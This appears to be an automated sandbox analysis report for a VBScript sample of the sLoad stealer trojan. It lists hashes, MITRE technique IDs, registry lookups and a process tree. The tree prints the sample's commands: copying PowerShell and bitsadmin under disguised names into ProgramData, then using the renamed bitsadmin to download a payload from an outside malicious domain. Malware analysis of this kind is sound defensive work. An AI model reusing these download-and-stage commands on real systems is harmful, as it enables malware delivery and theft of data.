sload | 56912c17def5a45f1d8f35567a25441e745ca0dbdc71668df3cee70a2638254b

General

Target

56912c17def5a45f1d8f35567a25441e745ca0dbdc71668df3cee70a2638254b.vbs
Size

9KB
MD5

f680c06c3ba90319e66f7e51879aa661
SHA1

97937ce0a605ac4ba37e25c090cc52b8d8c158ed
SHA256

56912c17def5a45f1d8f35567a25441e745ca0dbdc71668df3cee70a2638254b
SHA512

86def545293b71e4171f76f19f80628833e270c8ef62f1bda0de5fa22bbe86396888f17de296da9d0f5198c1435263be907d342034a7ebd5ff9c45f205bc8473

Score

10^/10

sload stealer trojan

Malware Config

Signatures

sLoad
sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.
trojan stealer sload

Executes dropped EXE 1 IoCs

pid	Process
2792	CtTkBBiin.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2720	svchost.exe
Token: SeCreatePagefilePrivilege	2720	svchost.exe
Token: SeShutdownPrivilege	2720	svchost.exe
Token: SeCreatePagefilePrivilege	2720	svchost.exe
Token: SeShutdownPrivilege	2720	svchost.exe
Token: SeCreatePagefilePrivilege	2720	svchost.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1008 wrote to memory of 860	1008	WScript.exe	81
PID 1008 wrote to memory of 860	1008	WScript.exe	81
PID 860 wrote to memory of 1300	860	cmd.exe	83
PID 860 wrote to memory of 1300	860	cmd.exe	83
PID 860 wrote to memory of 3124	860	cmd.exe	84
PID 860 wrote to memory of 3124	860	cmd.exe	84
PID 1008 wrote to memory of 2792	1008	WScript.exe	85
PID 1008 wrote to memory of 2792	1008	WScript.exe	85
PID 1008 wrote to memory of 2792	1008	WScript.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\56912c17def5a45f1d8f35567a25441e745ca0dbdc71668df3cee70a2638254b.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fnWDuSw.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\CtTkBBi*.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:860
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fnWDuSw.exe
    3⤵
    PID:1300
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\CtTkBBi*.exe
    3⤵
    PID:3124
- C:\ProgramData\CtTkBBiin.exe
  "C:\ProgramData\CtTkBBiin.exe" /transfer MbciAS /download https://cxminute.com/minu/LLLMRC84B29A944R/it.jpg C:\Users\Admin\AppData\Roaming\it.jpg
  2⤵
  - Executes dropped EXE
  PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2720

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2720-133-0x000001FF1B9E0000-0x000001FF1B9F0000-memory.dmp

Filesize
64KB

Download
memory/2720-132-0x000001FF1B150000-0x000001FF1B160000-memory.dmp

Filesize
64KB

Download
memory/2720-134-0x000001FF1DED0000-0x000001FF1DED4000-memory.dmp

Filesize
16KB

Download

Analysis

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